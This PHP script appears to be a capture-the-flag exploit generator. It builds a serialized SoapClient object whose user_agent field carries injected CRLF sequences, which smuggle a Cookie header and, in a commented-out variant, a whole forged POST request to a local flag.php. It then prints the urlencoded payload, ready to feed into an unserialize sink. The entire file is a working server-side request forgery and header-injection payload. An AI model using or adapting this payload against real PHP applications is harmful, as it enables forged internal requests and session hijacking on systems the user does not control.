<?php
//$url = "http://127.0.0.1/flag.php";
//$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
//$a = serialize($b);
//$a = str_replace('^^', "\r\n", $a);
//echo "|" . urlencode($a);
//


$target = 'http://127.0.0.1/flag.php';
$b = new SoapClient(null, array('location' => $target,
    'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车
    'uri' => "http://127.0.0.1/"));

$se = serialize($b);
echo "|" . urlencode($se);
//$target = "http://127.0.0.1/flag.php";
//$post_string = 'CYTEST';
//$headers = array(
//    'Cookie: PHPSESSID=CYTEST'
//);
//$c=array('uri'=>$target, 'location' => $target,'user_agent'=>'cytest^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string);
//try {
//    $b = new SoapClient(null, $c);
//} catch (SoapFault $e) {
//}
//$aaa = serialize($b);
//$aaa = str_replace('^^',"\r\n",$aaa);
//$aaa = str_replace('"SoapClient":5','"SoapClient":6',$aaa);
//$aaa = str_replace(';}',';s:1:"C";s:1:"Y',$aaa);
//echo urlencode($aaa);